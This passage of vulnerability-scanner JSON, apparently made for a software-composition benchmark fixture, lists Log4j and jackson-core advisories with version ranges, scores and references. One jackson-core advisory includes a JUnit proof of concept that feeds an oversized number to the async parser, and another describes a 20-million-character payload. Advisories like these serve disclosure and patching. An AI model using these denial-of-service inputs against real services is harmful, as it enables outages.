"https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/migration.html" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/security.html" }, { "type": "WEB", "url": "https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html" }, { "type": "WEB", "url": "http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html" }, { "type": "WEB", "url": "http://seclists.org/fulldisclosure/2022/Dec/2" }, { "type": "WEB", "url": "http://seclists.org/fulldisclosure/2022/Jul/11" }, { "type": "WEB", "url": "http://seclists.org/fulldisclosure/2022/Mar/23" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/10/1" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/10/2" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/10/3" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/13/1" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/13/2" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/14/4" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/15/3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H", "type": "CVSS_V3" } ], "summary": "Remote code injection in Log4j" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.12.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.12.2", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.17.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-alpha1", "2.0-alpha2", "2.0-beta1", "2.0-beta2", "2.0-beta3", "2.0-beta4", "2.0-beta5", "2.0-beta6", "2.0-beta7", "2.0-beta8", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.2", "2.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.8.0" }, { "fixed": "1.9.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.8.0", "1.8.1", "1.8.2", "1.8.3", "1.8.4", "1.8.5", "1.8.6", "1.8.7", "1.9.0", "1.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.10.0" }, { "fixed": "1.10.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.10.0", "1.10.1", "1.10.2", "1.10.3", "1.10.4", "1.10.5", "1.10.6", "1.10.7", "1.10.8" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.11.0" }, { "fixed": "1.11.12" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.11.0", "1.11.1", "1.11.10", "1.11.11", "1.11.2", "1.11.3", "1.11.4", "1.11.5", "1.11.6", "1.11.7", "1.11.8", "1.11.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-p6xc-xr62-6r2g/GHSA-p6xc-xr62-6r2g.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.0.13" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.10", "2.0.11", "2.0.12", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9" ] } ], "aliases": [ "CVE-2021-45105" ], "database_specific": { "cwe_ids": [ "CWE-20", "CWE-674" ], "github_reviewed": true, "github_reviewed_at": "2021-12-18T17:59:37Z", "nvd_published_at": "2021-12-18T12:15:00Z", "severity": "HIGH" }, "details": "Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.\n\n\n# Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.", "id": "GHSA-p6xc-xr62-6r2g", "modified": "2026-06-09T10:30:14.432177927Z", "published": "2021-12-18T18:00:07Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45105" }, { "type": "WEB", "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1541" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.kb.cert.org/vuls/id/930724" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-5024" }, { "type": "WEB", "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20211218-0001" }, { "type": "WEB", "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/security.html" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00017.html" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-501673.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/19/1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Apache Log4j2 vulnerable to Improper Input Validation and Uncontrolled Recursion" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-vc5p-v9hr-52mj/GHSA-vc5p-v9hr-52mj.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.0-beta9" }, { "fixed": "2.25.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0", "2.17.0", "2.17.1", "2.17.2", "2.18.0", "2.19.0", "2.2", "2.20.0", "2.21.0", "2.21.1", "2.22.0", "2.22.1", "2.23.0", "2.23.1", "2.24.0", "2.24.1", "2.24.2", "2.24.3", "2.25.0", "2.25.1", "2.25.2", "2.3", "2.3.1", "2.3.2", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] } ], "aliases": [ "CVE-2025-68161" ], "database_specific": { "cwe_ids": [ "CWE-297" ], "github_reviewed": true, "github_reviewed_at": "2025-12-19T22:08:02Z", "nvd_published_at": "2025-12-18T21:15:57Z", "severity": "MODERATE" }, "details": "The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true.\n\nThis issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:\n\n * The attacker is able to intercept or redirect network traffic between the client and the log receiver.\n * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured).\n\n\nUsers are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.\n\nAs an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.", "id": "GHSA-vc5p-v9hr-52mj", "modified": "2026-09-10T03:50:32.126499218Z", "published": "2025-12-18T21:31:44Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68161" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/pull/4002" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/commit/3b93748497e1adbbd027fda8a5e7268ec5d0d578" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://lists.apache.org/thread/xr33kyxq3sl67lwb61ggvm1fzc8k7dvx" }, { "type": "WEB", "url": "https://logging.apache.org/cyclonedx/vdr.xml" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName" }, { "type": "WEB", "url": "https://logging.apache.org/security.html#CVE-2025-68161" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/12/18/1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "Apache Log4j does not verify the TLS hostname in its Socket Appender" } ] }, { "package": { "name": "org.junit.jupiter:junit-jupiter", "version": "5.11.3", "ecosystem": "Maven", "purl": "pkg:maven/org.junit.jupiter/junit-jupiter@5.11.3" }, "dependency_groups": [ "test" ] }, { "package": { "name": "org.projectlombok:lombok", "version": "1.18.34", "ecosystem": "Maven", "purl": "pkg:maven/org.projectlombok/lombok@1.18.34" }, "dependency_groups": [ "provided" ] } ] }, { "source": { "path": "~/projects/sca-benchmark-wt/refresh-latest/fixtures/java-maven/pom.xml", "type": "unknown" }, "packages": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-annotations", "version": "2.18.2", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-annotations@2.18.2" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "version": "2.18.2", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core@2.18.2" }, "groups": [ { "ids": [ "GHSA-72hv-8253-57qq" ], "aliases": [ "CVE-2026-18401", "GHSA-72hv-8253-57qq" ], "max_severity": "6.9" }, { "ids": [ "GHSA-7hhh-6rmp-j9qf" ], "aliases": [ "CVE-2026-89425", "GHSA-7hhh-6rmp-j9qf" ], "max_severity": "7.5" }, { "ids": [ "GHSA-p6pp-m3f8-5c89" ], "aliases": [ "CVE-2026-89407", "GHSA-p6pp-m3f8-5c89" ], "max_severity": "7.5" }, { "ids": [ "GHSA-r7wm-3cxj-wff9" ], "aliases": [ "CVE-2026-68494", "GHSA-r7wm-3cxj-wff9" ], "max_severity": "8.7" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-72hv-8253-57qq/GHSA-72hv-8253-57qq.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0-rc1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-72hv-8253-57qq/GHSA-72hv-8253-57qq.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.5", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-72hv-8253-57qq/GHSA-72hv-8253-57qq.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.15.0" }, { "fixed": "2.18.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.15.0", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5" ] } ], "aliases": [ "CVE-2026-18401" ], "database_specific": { "cwe_ids": [ "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2026-02-28T02:01:05Z", "nvd_published_at": null, "severity": "MODERATE" }, "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits — UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits — BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed — async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) ('1' + (i % 9)));\n }\n sb.append('}');\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)", "id": "GHSA-72hv-8253-57qq", "modified": "2026-09-10T03:50:34.318297905Z", "published": "2026-02-28T02:01:05Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18401" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1555" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "related": [ "CVE-2026-68494" ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ] } ], "aliases": [ "CVE-2026-89425" ], "database_specific": { "cwe_ids": [ "CWE-400", "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2026-10-01T15:20:27Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** 